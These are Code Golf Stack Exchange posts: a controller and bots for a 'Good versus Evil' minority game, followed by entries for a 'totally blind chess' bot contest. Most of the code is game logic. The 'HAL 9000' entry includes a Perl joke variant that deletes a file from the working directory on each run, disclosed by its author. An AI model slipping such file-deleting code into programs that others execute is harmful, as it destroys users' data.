{'name':name,'lang':lang,'code':code,'user':user} def parse_posts(self, html): soup = BeautifulSoup(html) # Skip the first post posts = soup.find_all(class_ = 'answercell') return [self.parse_post(post) for post in posts] def get_submissions(self, page = 1, force_cache_update = False): url = "http://codegolf.stackexchange.com/questions/33137/good-versus-evil?page=%i&tab=votes#tab-top" % page html = self.download_page(url, use_cache = True, force_cache_update = force_cache_update) submissions = self.parse_posts(html) return submissions class Timeout(Exception): pass def run(command, timeout=10): proc = subprocess.Popen(command, bufsize=0, stdout=subprocess.PIPE, stderr=subprocess.PIPE) poll_seconds = .250 deadline = time.time()+timeout while time.time() < deadline and proc.poll() == None: time.sleep(poll_seconds) if proc.poll() == None: if float(sys.version[:3]) >= 2.6: proc.terminate() raise Timeout() stdout, stderr = proc.communicate() return stdout, stderr, proc.returncode def guess_lang(code): if re.search(r'class .* extends Human', code): return 'lang-java' if re.search(r'import sys', code): return 'lang-python' if re.search(r'puts', code) and (re.search(r'ARGV', code) or re.search(r'\%w', code)): return 'lang-ruby' if re.search(r'console\.log', code): return 'lang-javascript' if re.search(r'program', code) and re.search(r'subroutine', code): return 'lang-fortran' if re.search(r'@echo off', code): return 'lang-bash' return None def submission_type(lang, code): submission_types = { 'lang-ruby': RubySubmission, 'lang-python': PythonSubmission, 'lang-py': PythonSubmission, 'lang-java': JavaSubmission, 'lang-Java': JavaSubmission, 'lang-javascript': NodeSubmission, 'lang-cpp': CPPSubmission, 'lang-c': CSubmission, 'lang-lua': LuaSubmission, 'lang-r': RSubmission, 'lang-fortran': FortranSubmission, 'lang-bash': BashSubmission } klass = submission_types.get(lang) if klass is None: lang = guess_lang(code) klass = submission_types.get(lang) return klass def instantiate(submission): lang = submission['lang'] code = submission['code'] name = submission['name'] klass = submission_type(lang, code) if klass is not None: instance = klass(name, code) return instance print "Entry %s invalid - lang not supported: %s" % (name, lang) return None def get_all_instances(force_update): scraper = Scraper() print 'Scraping Submissions..' pages = [1,2,3] submissions_by_page = [scraper.get_submissions(page=i, force_cache_update=force_update) for i in pages] submissions = [item for sublist in submissions_by_page for item in sublist] # Get instances raw_instances = [instantiate(s) for s in submissions] instances = [i for i in raw_instances if i] print "Using %i/%i Submissions" % (len(instances), len(submissions)) return instances def save_submissions(instances): print 'Saving Submissions..' for instance in instances: instance.save_submission() def init_game(save=True, force_update=False): instances = get_all_instances(force_update) if save: save_submissions(instances) return instances def one_run(instances, input): valid = { 'good': 1, 'evil': 0 } disqualified = [] results = [] for instance in instances: out = instance.run_submission(input) res = out.strip().lower() if res not in valid: disqualified.append(instance) else: results.append(valid[res]) return (results, disqualified) def get_winner(scores, instances): max_value = max(scores) max_index = scores.index(max_value) instance = instances[max_index] return (instance.name, max_value) def update_scores(results, scores, minority_counts, minority_num): for i in range(len(results)): if results[i] == minority_num: minority_counts[i] += 1 scores[i] += (minority_counts[i] - 1) else: minority_counts[i] = 0 scores[i] += 3 def try_run_game(instances, num_runs = 1000, blacklist = None): current_input = None minority_str = None num_instances = len(instances) scores = [0] * num_instances minority_counts = [0] * num_instances print "Running with %i instances..." % num_instances for i in range(num_runs): print "Round: %i - Last minority was %s" % (i, minority_str) results, disqualified = one_run(instances, current_input) if len(disqualified) > 0: for instance in disqualified: print "Removing %s!" % instance.name instances.remove(instance) if blacklist is not None: with open(blacklist, 'a') as f: f.write("%s\n" % instance.name) return False latest_result = "".join(map(str,results)) current_input = "%s,%s" % (current_input, latest_result) minority_num = 1 if results.count(1) < results.count(0) else 0 minority_str = 'good' if minority_num == 1 else 'evil' update_scores(results, scores, minority_counts, minority_num) name, score = get_winner(scores, instances) print "%s is currently winning with a score of %i" % (name, score) print "The winner is %s with a score of %i!!!" % (name, score) return True def find_instance_by_name(instances, name): for instance in instances: if instance.name == name: return instance return None def maybe_add_or_remove_baelish(instances, baelish): num_instances = len(instances) if num_instances % 2 == 0: print 'There are %i instances.' % num_instances try: instances.remove(baelish) print 'Baelish Removed!' except: instances.append(baelish) print 'Baelish Added!' def remove_blacklisted(blacklist, instances): blacklisted = [] try: blacklisted = open(blacklist).readlines() except: return print 'Removing blacklisted entries...' for name in blacklisted: name = name.strip() instance = find_instance_by_name(instances, name) if instance is not None: print 'Removing %s' % name instances.remove(instance) def run_game(instances, num_runs): blacklist = 'blacklist.txt' remove_blacklisted(blacklist, instances) baelish = find_instance_by_name(instances, 'Petyr Baelish') maybe_add_or_remove_baelish(instances, baelish) while not try_run_game(instances, num_runs = num_runs, blacklist = blacklist): print "Restarting!" maybe_add_or_remove_baelish(instances, baelish) print "Done!" if __name__ == '__main__': param = sys.argv[1] if len(sys.argv) >= 2 else None if param == 'get': instances = init_game(save=True, force_update=True) elif param == 'run': instances = init_game(save=False, force_update=False) num_runs = 50 if len(sys.argv) == 3: num_runs = int(sys.argv[2]) run_game(instances, num_runs) else: self_name = os.path.basename(__file__) print "usage:" print "To get the latest code: 'python %s get'" % self_name print "To run the submissions: 'python %s run <optional num_runs>'" % self_name ``` [Answer] ## The Beautiful Mind, Ruby Makes its decision based on patterns of questionable significance in the bit representation of the last round ``` require 'prime' if ARGV.length == 0 puts ["good", "evil"].sample else last_round = ARGV[0].split(',').last puts Prime.prime?(last_round.to_i(2)) ? "good" : "evil" end ``` Run like ``` ruby beautiful-mind.rb ``` [Answer] # Piustitious, Lua A superstitious program that believes in Signs and Wonders. ``` history = arg[1] if history == nil then print("good") else local EvilSigns, GoodSigns = 0,0 local SoulSpace = "" for i in string.gmatch(history, "%d+") do SoulSpace = SoulSpace .. i end if string.match(SoulSpace, "1010011010") then -- THE NUBMER OF THE BEAST! local r = math.random(1000) if r <= 666 then print("evil") else print("good") end else for i in string.gmatch(SoulSpace, "10100") do -- "I'M COMING" - DEVIL EvilSigns = EvilSigns + 1 end for i in string.gmatch(SoulSpace, "11010") do -- "ALL IS WELL" - GOD GoodSigns = GoodSigns + 1 end if EvilSigns > GoodSigns then print("evil") elseif GoodSigns > EvilSigns then print("good") elseif GoodSigns == EvilSigns then local r = math.random(1000) if r <= 666 then print("good") else print("evil") end end end end ``` run it with: ``` lua Piustitious.lua ``` followed by the input. [Answer] ## The Mercenary Always sides with the one who paid the most money last round. Taking into account that good people earn statistically more. ``` package Humans; public class Mercenary extends Human { public String takeSides(String history) { // first round random! if (history.length() == 0) { return Math.random() >= 0.5 ? "good" : "evil"; } String[] rounds = history.split(","); String lastRound = rounds[rounds.length - 1]; double goodMoneyPaid = 0; double evilMoneyPaid = 0; for (char c : lastRound.toCharArray()) { switch (c) { case '0': goodMoneyPaid = goodMoneyPaid + 0.2; //statistically proven: good people have more reliable incomes break; case '1': evilMoneyPaid++; break; default: break; } } if (goodMoneyPaid > evilMoneyPaid) { return "good"; } else { return "evil"; } } } ``` [Answer] # The Winchesters Sam and Dean are good (most of the time). ``` package Humans; public class TheWinchesters extends Human { @Override public String takeSides(String history) throws Exception { return Math.random() < 0.1 ? "evil" : "good"; } } ``` [Answer] ## Statistician ``` public class Statistician extends Human{ public final String takeSides(String history) { int side = 0; String[] hist = history.split(","); for(int i=0;i<hist.length;i++){ for(char c:hist[i].toCharArray()){ side += c == '1' ? (i + 1) : -(i + 1); } } if(side == 0) side += Math.round(Math.random()); return side > 0 ? "good" : "evil"; } } ``` [Answer] ## R, a somewhat Bayesian bot Use the frequency table for each user as the prior probability of other users output. ``` args <- commandArgs(TRUE) if(length(args)!=0){ history <- do.call(rbind,strsplit(args,",")) history <- do.call(rbind,strsplit(history,"")) tabulated <- apply(history,2,function(x)table(factor(x,0:1))) result <- names(which.max(table(apply(tabulated, 2, function(x)sample(0:1,1, prob=x))))) if(result=="1"){cat("good")}else{cat("evil")} }else{ cat("good") } ``` Invoked using `Rscript BayesianBot.R` followed by the input. **Edit**: Just to clarify what this is doing, here is a step by step with the example input: ``` > args [1] "11011,00101,11101,11111,00001,11001,11001" > history #Each player is a column, each round a row [,1] [,2] [,3] [,4] [,5] [1,] 1 1 0 1 1 [2,] 0 0 1 0 1 [3,] 1 1 1 0 1 [4,] 1 1 1 1 1 [5,] 0 0 0 0 1 [6,] 1 1 0 0 1 [7,] 1 1 0 0 1 > tabulated #Tally of each player previous decisions. [,1] [,2] [,3] [,4] [,5] 0 2 2 4 5 0 1 5 5 3 2 7 ``` Then the line starting by `result<-`, for each player, picks randomly either 0 or 1 using this last table as weights (i. e. for player 1 the probability of picking 0 is 2/7th, of picking 1 5/7th, etc.). It picks one outcome for each player/column and finally returns the number that ended being the most common. [Answer] ## Swiss Always sustains neutrality. Doomed to never win. ``` package Humans; /** * Never choosing a side, sustaining neutrality * @author Fabian */ public class Swiss extends Human { public String takeSides(String history) { return "neutral"; // wtf, how boring is that? } } ``` [Answer] # HAL 9000 ``` #!/usr/bin/env perl print eval("evil") ``` **Edit :** maybe this is more suitable for HAL 9000, but be careful! It is very evil. I recommend `cd` to empty directory before running it. ``` #!/usr/bin/env perl print eval { ($_) = grep { -f and !/$0$/ } glob('./*'); unlink; evil } ``` > > This removes one file from `cwd` for each invocation! > > > Not so obvious invocation: In M$ ``` D:\>copy con hal_9000.pl #!/usr/bin/env perl print eval("evil") ^Z 1 file(s) copied. D:>hal_9000.pl evil ``` In \*nix ``` [core1024@testing_pc ~]$ tee hal_9000.pl #!/usr/bin/env perl print eval("evil") # Press C-D here [core1024@testing_pc ~]$ chmod +x $_ [core1024@testing_pc ~]$ ./$_ evil[core1024@testing_pc ~]$ ``` [Answer] # Will of the Majority ``` import sys import random if len(sys.argv)==1: print(random.choice(['good','evil'])) else: rounds=sys.argv[1].split(',') last_round=rounds[-1] zeroes=last_round.count('0') ones=last_round.count('1') if ones>zeroes: print('good') elif zeroes>ones: print('evil') elif ones==zeroes: print(random.choice(['good','evil'])) ``` Save it as `WotM.py`, run as `python3 WotM.py` followed by the input. A simple program, just to see how it will do. Goes with whatever the majority said last time, or else random. [Answer] ## Alan Shearer Repeats whatever the person he's sitting next to has just said. If the person turns out to be wrong, he moves on to the next person and repeats what they say instead. ``` package Humans; /** * Alan Shearer copies someone whilst they're right; if they get predict * wrongly then he moves to the next person and copies whatever they say. * * @author Algy * @url http://codegolf.stackexchange.com/questions/33137/good-versus-evil */ public class AlanShearer extends Human { private char calculateWinner(String round) { int good = 0, evil = 0; for (int i = 0, L = round.length(); i < L; i++) { if (round.charAt(i) == '1') { good++; } else { evil++; } } return (good >= evil) ? '1' : '0'; } /** * Take the side of good or evil. * @param history The past votes of every player * @return A String "good" or "evil */ public String takeSides(String history) { String[] parts = history.split(","); String lastRound = parts[parts.length() - 1]; if (parts.length() == 0 || lastRound.length() == 0) { return "good"; } else { if (parts.length() == 1) { return lastRound.charAt(0) == '1' ? "good" : "evil"; } else { int personToCopy = 0; for (int i = 0, L = parts.length(); i < L; i++) { if (parts[i].charAt(personToCopy) != calculateWinner(parts[i])) { personToCopy++; if (personToCopy >= L) { personToCopy = 0; } } } } return lastRound.charAt(personToCopy) == '1' ? "good" : "evil"; } } } ``` [Answer] # Later is Evil, JavaScript (*node.js*) Measures the amount of time between executions. If the the time difference is greater than last time, it must be evil. Otherwise, good. ``` var fs = require('fs'), currentTime = (new Date).getTime(); try { var data = fs.readFileSync('./laterisevil.txt', 'utf8'); } catch (e) { data = '0 0'; } // no file? no problem, let's start out evil at epoch var parsed = data.match(/(\d+) (\d+)/), lastTime = +parsed[1], lastDifference = +parsed[2], currentDifference = currentTime - lastTime; fs.writeFileSync('./laterisevil.txt', currentTime + ' ' + currentDifference, 'utf8'); console.log(currentDifference > lastDifference? 'evil' : 'good'); ``` Run with: `node laterisevil.js` [Answer] # Pattern Finder, Python Looks for a recurring pattern, and if it can't find one, just goes with the majority. ``` import sys if len(sys.argv) == 1: print('good') quit() wins = ''.join( map(lambda s: str(int(s.count('1') > s.count('0'))), sys.argv[1].split(',') ) ) # look for a repeating pattern accuracy = [] for n in range(1, len(wins)//2+1): predicted = wins[:n]*(len(wins)//n) actual = wins[:len(predicted)] n_right = 0 for p, a in zip(predicted, actual): n_right += (p == a) accuracy.append(n_right/len(predicted)) # if there's a good repeating pattern, use it if accuracy: best = max(accuracy) if best > 0.8: n = accuracy.index(best)+1 prediction = wins[:n][(len(wins))%n] # good chance of success by going with minority if prediction == '1': print('evil') else: print('good') quit() # if there's no good pattern, just go with the majority if wins.count('1') > wins.count('0'): print('good') else: print('evil') ``` run with ``` python3 pattern_finder.py ``` [Answer] # The Turncoat The Turncoat believes that because of the other combatants so far, the majority will alternate after each round between good and evil more often than it stays on the same side. Thus he begins the first round by arbitrarily siding with good, then alternates every round in an attempt to stay on the winning or losing team more often than not. ``` package Humans; public class Turncoat extends Human { public final String takeSides(String history) { String[] hist = history.split(","); return (hist.length % 2) == 0 ? "good" : "evil"; } } ``` After writing this, I realized that due to the entries based on statistical analysis, momentum would cause the majority to switch sides less as more rounds have been completed. Hence, the the Lazy Turncoat. # The Lazy Turncoat The Lazy Turncoat starts off like the Turncoat, but as rounds pass, he gets lazier and lazier to switch to the other side. ``` package Humans; public class LazyTurncoat extends Human { public final String takeSides(String history) { int round = history.length() == 0 ? 0 : history.split(",").length; int momentum = 2 + ((round / 100) * 6); int choice = round % momentum; int between = momentum / 2; return choice < between ? "good" : "evil"; } } ``` [Answer] # Biographer, Ruby ``` rounds = ARGV[0].split(',') rescue [] if rounds.length < 10 choice = 1 else outcome_history = ['x',*rounds.map{|r|['0','1'].max_by{|s|r.count s}.tr('01','ab')}] player_histories = rounds.map{|r|r.chars.to_a}.transpose.map{ |hist| outcome_history.zip(hist).join } predictions = player_histories.map do |history| (10).downto(0) do |i| i*=2 lookbehind = history[-i,i] @identical_previous_behavior = history.scan(/(?<=#{lookbehind})[10]/) break if @identical_previous_behavior.any? end if @identical_previous_behavior.any? (@identical_previous_behavior.count('1')+1).fdiv(@identical_previous_behavior.size+2) else 0.5 end end simulations = (1..1000).map do votes = predictions.map{ |chance| rand < chance ? 1 : 0 } [0,1].max_by { |i| votes.count(i) } end choice = case simulations.count(1)/10 when 0..15 1 when 16..50 0 when 51..84 1 when 85..100 0 end end puts %w[evil good][choice] ``` My attempt at an almost intelligent entry (an actually intelligent one would require testing against the field). Written in Ruby, so there's a chance this'll be too slow, but on my machine anyway this takes .11 seconds to calculate the last round when there are 40 random players, so I hope it'll work well enough. save as `biographer.rb`, run as `ruby biographer.rb` The idea is that for each player, it estimates their chances of picking "good" by looking at both their own choices for the last ten rounds, and the overall outcomes, and finding instances in the past where the identical circumstances (their votes + overall outcomes) occurred. It picks the longest lookbehind length, up to 10 rounds, such that there's any precedent, and uses that to create a frequency (adjusted according to Laplace's Law of Succession, so that we're never 100% confident about anyone). It then runs some simulations and sees how often Good wins. If the simulations turned out mostly the same way, then it's probably going to do well predicting in general so it picks the predicted minority. If it's not confident, it picks the predicted majority. [Answer] ## Judas Judas is a really good person. It's a pity he'll betray the good guys for a few pennies. ``` package Humans; public class Judas extends Human { private static final String MONEY = ".*?0100110101101111011011100110010101111001.*?"; public String takeSides(String history) { return history != null && history.replace(",","").matches(MONEY) ? "evil" : "good"; } } ``` [Answer] # The Fallacious Gambler (Python) If one side has won majority a number of times in a row, the gambler realizes that the other side is more likely to be the majority next round (right?) and this influence his vote. He aims for the minority, because if he makes it into the minority once he's likely to make it there a number of times (right?) and get a lot of points. ``` import sys import random def whoWon(round): return "good" if round.count("1") > round.count("0") else "evil" if len(sys.argv) == 1: print random.choice(["good", "evil"]) else: history = sys.argv[1] rounds = history.split(",") lastWin = whoWon(rounds[-1]) streakLength = 1 while streakLength < len(rounds) and whoWon(rounds[-streakLength]) == lastWin: streakLength += 1 lastLoss = ["good", "evil"] lastLoss.remove(lastWin) lastLoss = lastLoss[0] print lastWin if random.randint(0, streakLength) > 1 else lastLoss ``` ## Usage For the first round: ``` python gambler.py ``` and afterward: ``` python gambler.py 101,100,001 etc. ``` [Answer] # Cellular Automaton This uses conventional rules for Conway's Game of Life to pick a side. First, a 2D grid is created from the previous votes. Then, the "world" is stepped forward one stage, and the total number of living cells remaining is calculated. If this number is greater than half the total number of cells, "good" is chosen. Otherwise, "evil" is chosen. Please forgive any mistakes, this was smashed out during my lunch hour. ;) ``` package Humans; public class CellularAutomaton extends Human { private static final String GOOD_TEXT = "good"; private static final String EVIL_TEXT = "evil"; private int numRows; private int numColumns; private int[][] world; @Override public String takeSides(String history) { String side = GOOD_TEXT; if (history.isEmpty()) { side = Math.random() <= 0.5 ? GOOD_TEXT : EVIL_TEXT; } else { String[] prevVotes = history.split(","); numRows = prevVotes.length; numColumns = prevVotes[0].length(); world = new int[numRows][numColumns]; for (int i = 0; i < numColumns; i++) { for (int j = 0; j < numRows; j++) { world[j][i] = Integer.parseInt(Character.toString(prevVotes[j].charAt(i))); } } int totalAlive = 0; int total = numRows * numColumns; for (int i = 0; i < numColumns; i++) { for (int j = 0; j < numRows; j++) { totalAlive += getAlive(world, i, j); } } if (totalAlive < total / 2) { side = EVIL_TEXT; } } return side; } private int getAlive(int[][] world, int i, int j) { int livingNeighbors = 0; if (i - 1 >= 0) { if (j - 1 >= 0) { livingNeighbors += world[j - 1][i - 1]; } livingNeighbors += world[j][i - 1]; if (j + 1 < numRows) { livingNeighbors += world[j + 1][i - 1]; } } if (j - 1 >= 0) { livingNeighbors += world[j - 1][i]; } if (j + 1 < numRows) { livingNeighbors += world[j + 1][i]; } if (i + 1 < numColumns) { if (j - 1 >= 0) { livingNeighbors += world[j - 1][i + 1]; } livingNeighbors += world[j][i + 1]; if (j + 1 < numRows) { livingNeighbors += world[j + 1][i + 1]; } } return livingNeighbors > 1 && livingNeighbors < 4 ? 1 : 0; } } ``` [Answer] # The Ridge Professor I hope using libraries is allowed, don't feel like doing this without one =) The basic idea is to train a ridge regression classifier for each participant on the last rounds, using the 30 results before each round as features. Originally included the last round of results for all players to predict the outcome for each player as well, but that was cutting it rather close for time when the number of participants gets larger (say, 50 or so). ``` #include <iostream> #include <string> #include <algorithm> #include "Eigen/Dense" using Eigen::MatrixXf; using Eigen::VectorXf; using Eigen::IOFormat; using std::max; void regress(MatrixXf &feats, VectorXf &classes, VectorXf &out, float alpha = 1) { MatrixXf featstrans = feats.transpose(); MatrixXf AtA = featstrans * feats; out = (AtA + (MatrixXf::Identity(feats.cols(), feats.cols()) * alpha)).inverse() * featstrans * classes; } float classify(VectorXf &weights, VectorXf &feats) { return weights.transpose() * feats; } size_t predict(MatrixXf &train_data, VectorXf &labels, VectorXf &testitem) { VectorXf weights; regress(train_data, labels, weights); return (classify(weights, testitem) > 0 ? 1 : 0); } static const int N = 30; static const int M = 10; // use up to N previous rounds worth of data to predict next round // train on all previous rounds available size_t predict(MatrixXf &data, size_t prev_iters, size_t n_participants) { MatrixXf newdata(data.rows(), data.cols() + max(N, M)); newdata << MatrixXf::Zero(data.rows(), max(N, M)), data; size_t n_samples = std::min(500ul, prev_iters); if (n_samples > (8 * max(N, M))) { n_samples -= max(N,M); } size_t oldest_sample = prev_iters - n_samples; MatrixXf train_data(n_samples, N + M + 1); VectorXf testitem(N + M + 1); VectorXf labels(n_samples); VectorXf averages = newdata.colwise().mean(); size_t n_expected_good = 0; for (size_t i = 0; i < n_participants; ++i) { for (size_t iter = oldest_sample; iter < prev_iters; ++iter) { train_data.row(iter - oldest_sample) << newdata.row(i).segment<N>(iter + max(N, M) - N) , averages.segment<M>(iter + max(N, M) - M).transpose() , 1; } testitem.transpose() << newdata.row(i).segment<N>(prev_iters + max(N, M) - N) , averages.segment<M>(prev_iters + max(N, M) - M).transpose() , 1; labels = data.row(i).segment(oldest_sample, n_samples); n_expected_good += predict(train_data, labels, testitem); } return n_expected_good; } void fill(MatrixXf &data, std::string &params) { size_t pos = 0, end = params.size(); size_t i = 0, j = 0; while (pos < end) { switch (params[pos]) { case ',': i = 0; ++j; break; case '1': data(i,j) = 1; ++i; break; case '0': data(i,j) = -1; ++i; break; default: std::cerr << "Error in input string, unexpected " << params[pos] << " found." << std::endl; std::exit(1); break; } ++pos; } } int main(int argc, char **argv) { using namespace std; if (argc == 1) { cout << "evil" << endl; std::exit(0); } string params(argv[1]); size_t n_prev_iters = count(params.begin(), params.end(), ',') + 1; size_t n_participants = find(params.begin(), params.end(), ',') - params.begin(); MatrixXf data(n_participants, n_prev_iters); fill(data, params); size_t n_expected_good = predict(data, n_prev_iters, n_participants); if (n_expected_good > n_participants/2) { cout << "evil" << endl; } else { cout << "good" << endl; } } ``` ## To Compile Save the source code in a file called `ridge_professor.cc`, download the [Eigen](http://bitbucket.org/eigen/eigen/get/3.2.1.zip) library and unzip the Eigen folder found inside into the same folder as the source file. Compile with `g++ -I. -O3 -ffast-math -o ridge_professor ridge_professor.cc`. ## To Run call ridge\_professor.exe and supply argument as needed. # Question Since I can't comment anywhere yet, I'll ask here: doesn't the argument size limit on windows make it impossible to call the resulting binaries with the entire history at a few hundred turns? I thought you can't have more than ~9000 characters in the argument... [Answer] ## Crowley Because the Winchesters are much less interesting without this fellow. He obviously sides with evil...unless it is needed to take care of a bigger evil. ``` package Humans; public class Crowley extends Human { public String takeSides(String history) { int gd = 0, j=history.length(), comma=0, c=0, z=0; while(comma < 2 && j>0) { j--; z++; if (history.charAt(j) == ',') { comma++; if(c> z/2) {gd++;} z=0; c=0; } else if (history.charAt(j)=='1') { c++; } else { } } if(gd == 0){ return "good"; } else { return "evil"; } }} ``` I look at the last two turns (0 commas so far and 1 comma so far) and if both of them let evil win, I vote good. Otherwise I vote evil. ]
[Question] [ In this challenge, you play [chess](https://en.wikipedia.org/wiki/Rules_of_chess) without seeing any of your opponent's pieces or moves. Or your own pieces. Or whether your own moves succeeded. You send only a stream of moves, with no feedback. If your move is legal (when it is your turn) it will be played, otherwise it is silently discarded. ## I/O The only input is two command line arguments. The 1st is either `w` or `b`, indicating whether you play White or Black. The 2nd is an integer in the range [0, 263), which you may use as a random seed. For a given seed, your program must produce deterministic output. Your output must be an infinite stream of move attempts, one per line, in the format `<start square> <end square> [optional piece for pawn promotion]`. Squares are specified in [algebraic notation](http://chesslessons4beginners.com/images/dia_alg_e.png). The 3rd parameter may be one of `q r b n`, for queen, rook, bishop, or knight respectively. Castling is performed by specifying the start and end locations of the king. If the 3rd parameter is not provided for a pawn promotion, queen is chosen by default. If the 3rd parameter is provided for a non-promotion, it is ignored. Examples: * `b2 c4` (a possible knight move) * `e3 d5 q` (another possible knight move) * `e2 e1 b` (a possible promotion of a black pawn to bishop, or a king, rook, or queen move of either color) * `g7 h8` (a possible capture by a white pawn which promotes to queen, or a bishop, queen, or king move of either color) * `a8 f1` (a move attempt which always fails) Check out the [example bot](https://github.com/feresum/totallyblindchess/blob/master/players/example/example.c) for clarification on the I/O formats. Any illegal move attempts will be skipped. Note that it is illegal to leave your king in check. When it is your turn, the controller will keep reading lines until it finds a valid move. This means that **all games will be valid according to the rules of chess**. ## Limits * The game shall be declared a draw if both players complete 100 consecutive moves without captures or pawn moves. * A player who makes 2000 consecutive unsuccessful move attempts shall forfeit the game. * Players must output move attempts reasonably quickly, say no more than 10 ms per move attempt. There is no hard limit for this; ask me in [The Nineteenth Byte](https://chat.stackexchange.com/rooms/240/the-nineteenth-byte) if you are in doubt. * Your program must be runnable with free (lunch) software on at least one of Windows or Linux. ## Controller To download [the controller](https://github.com/feresum/totallyblindchess) (so far tested on Windows and Ubuntu), ``` git clone https://github.com/feresum/totallyblindchess.git ``` The repository is periodically updated to include the source code and configuration for all the players in the contest. See the README for usage instructions. ## Victory condition A round robin tournament where each pair of opponents play 200 games. Players score 2 points for a win and 1 point for a draw. Most points wins. ## Final standings The controller seed was 6847095374473737716. ``` ================Standings after 100 cycles:================= Pokey 3003 BlindMoveMaker1 2412 Prickly 2268 Backline 2069 ZombieMarch 1990 JustEverything 1688 Lichess2013-2015 1625 Memorizer 1598 BluntInstrument 738 Scholar 609 ============================================================ ``` Congratulations to Brilliand with Pokey, scoring 83%. ## Miscellaneous [Sample games from an old tournament](https://gist.github.com/feresum/f1bd5e120736aca517bdd416dda2d86e) Although the official winner has been declared, you may, if you wish, post new answers with your score against the other participants (the controller repository includes all bots which competed). [Answer] ### Just Everything Generates a list of every possibly legal move, shuffles it, then cycles through it repeatedly. Since there are only 1792 possibly legal moves, this will never forfeit due to the 2000-attempt rule. This is meant as a template that other answers can build on. ``` #! /usr/bin/python import sys import random _, color, seed = sys.argv[:3] random.seed(seed) colnames = "abcdefgh" rownames = "12345678" if color == "w" else "87654321" def coord2code((col, row)): return colnames[col] + rownames[row]; def buildmoves((col, row)): # Knight moves for x in (1, 2, -2, -1): if x+col >= 0 and x+col <= 7: for y in (2/x, -2/x): if y+row >= 0 and y+row <= 7: yield (x+col, y+row) # Bishop moves for x in range(1,8): if col+x <= 7: if row+x <= 7: yield (col+x, row+x) if row-x >= 0: yield (col+x, row-x) if col-x >= 0: if row+x <= 7: yield (col-x, row+x) if row-x >= 0: yield (col-x, row-x) # Rook moves for x in range(1,8): if col+x <= 7: yield (col+x, row) if col-x >= 0: yield (col-x, row) if row+x <= 7: yield (col, row+x) if row-x >= 0: yield (col, row-x) def allmoves(): for row in range(8): for col in range(8): for to in buildmoves((row, col)): yield ((row, col), to) movelist = [(coord2code(a), coord2code(b)) for (a,b) in allmoves()] random.shuffle(movelist) while True: for (a, b) in movelist: print a, b ``` [Answer] ### Zombie March Slowly walks all its pieces forward across the board, in a random order (but favoring pawns). The first 5 moves sent specifically counter the scholar's mate. ``` #! /usr/bin/python import sys import random _, color, seed = sys.argv[:3] random.seed(seed) moveorder = [(2, 2), (1, 1), (0, 2), (0, 1), (1, 2), (2, 1), (2, 0), (1, 0)] moveorder7 = [(4, 0), (3, 0), (2, 0), (1, 0), (0, -4), (0, -3), (0, -2), (0, -1), (4, -4), (3, -3), (2, -2), (1, -1), (1, -2), (2, -1)] colorder = random.sample([2, 3, 4, 5], 4) + random.sample([0, 1, 6, 7], 4) roworder = [1, 2, 3, 4, 5, 6, 7, 0] colnames = "abcdefgh" rownames = "12345678" if color == "w" else "87654321" def buildmoves((col, row), (x, y)): if row+y > 7 or row+y < 0: return if x == 0: yield (col, row+y) return if col < 4: if col+x <= 7: yield (col+x, row+y) if col-x >= 0: yield (col-x, row+y) else: if col-x >= 0: yield (col-x, row+y) if col+x <= 7: yield (col+x, row+y) def coord2code((col, row)): return colnames[col] + rownames[row]; # Some fixed behavior (counter foolsmate) print coord2code((6, 1)), coord2code((6, 2)) print coord2code((4, 1)), coord2code((4, 3)) print coord2code((3, 1)), coord2code((3, 3)) print coord2code((6, 2)), coord2code((7, 3)) print coord2code((3, 3)), coord2code((2, 4)) iter = 0 while True: iter += 1 for row in roworder: for move in (moveorder if row*(1+iter*random.random()/10)<7 else random.sample(moveorder7, 8)): for col in colorder: for to in buildmoves((col, row), move): print coord2code((col, row)), coord2code(to) ``` [Answer] # Scholar ``` #include <assert.h> #include <stdio.h> #include <stdlib.h> enum { WHITE, BLACK }; int main(int argc, char **argv) { assert(argc == 3); int color; switch (argv[1][0]) { case 'w': color = WHITE; break; case 'b': color = BLACK; break; default: assert(0); } if(color == WHITE) { printf("e2 e3\n"); printf("d1 h5\n"); printf("f1 c4\n"); printf("h5 f7\n"); } else { printf("e7 e6\n"); printf("d8 h4\n"); printf("f8 c5\n"); printf("h4 f2\n"); } srand(atoll(argv[2])); for ( ;; ) { printf("%c%c %c%c\n", rand() % 8 + 'a', rand() % 8 + '1', rand() % 8 + 'a', rand() % 8 + '1'); } } ``` Scholar simply tries for a 4-move checkmate (with a 10% chance of a 2-move check that can result in a forfeit), then moves randomly after that. I tried adding in some nonrandom moves that were more likely to be legal, but at least in the naive way I did it that made the bot worse--more likely to forfeit when in check, I think. [Answer] ### Pokey Opens with the knight-based variant of the Scholar's Mate (a 5-move checkmate). If this fails, it presses the attempt a little farther, with a sequence of moves that hardcounters Prickly. The structure of this bot is based on Prickly, but it improves on the Zombie March phase by frequently inserting king moves to get out of check, improves on the Just Everything idea by ordering the moves in a way that makes long-range moves more likely, and throws in a bit of Backline behavior right after the checkmate attempt. The queen swarm idea is still in there too, but that part is still failing. ``` #! /usr/bin/python import sys import random import math _, color, seed = sys.argv[:3] random.seed(seed) colnames = "abcdefgh" rownames = "12345678" if color == "w" else "87654321" def coord2code((col, row)): return colnames[col] + rownames[row]; def sendmove((a, b)): print coord2code(a), coord2code(b) def long_safe_move(start, step, length): a,b = start x,y = step i = 0 while i < length: m_start = (a+x*i,b+y*i) j = length while j > i: m_end = (a+x*j,b+y*j) if m_end[0] >= 0 and m_end[0] <= 7 and m_end[1] >= 0 and m_end[1] <= 7: yield (m_start, m_end) j -= 1 i += 1 captures = ([((x,1),(x+1,2)) for x in range(7)] + [((x+1,1),(x,2)) for x in range(7)] + [((0,0),(0,1)), ((1,0),(3,1)), ((2,0),(1,1)), ((2,0),(3,1))] + [((7,0),(7,1)), ((6,0),(4,1)), ((5,0),(6,1)), ((5,0),(4,1))] + [((3,0),(2,1)), ((3,0),(3,1)), ((3,0),(4,1)), ((4,0),(5,1))]) sendmove(((4,1),(4,2))) captures = ([m for m in captures if not (4,1) in m] + [((x,2),(x+1,3)) for x in range(7)] + [((x+1,2),(x,3)) for x in range(7)]) for m in captures: sendmove(m) sendmove(((3,0),(5,2))) captures = ([m for m in captures if not (3,0) in m and not m[0] == (5,2)] + [((4,0),(3,1))]) for m in captures: sendmove(m) sendmove(((6,0),(7,2))) captures = ([m for m in captures if not (6,0) in m] + [((4,0),(3,1))]) for m in captures: sendmove(m) sendmove(((7,2),(6,4))) captures = (captures + [((5,2),(5,6))]) for m in captures: sendmove(m) sendmove(((7,1),(7,3))) sendmove(((7,1),(7,2))) sendmove(((7,2),(7,3))) captures = ([m for m in captures if not (7,1) in m and not (7,2) in m] + [((7,0),(7,3))] + [((x,3),(x+1,4)) for x in range(7)] + 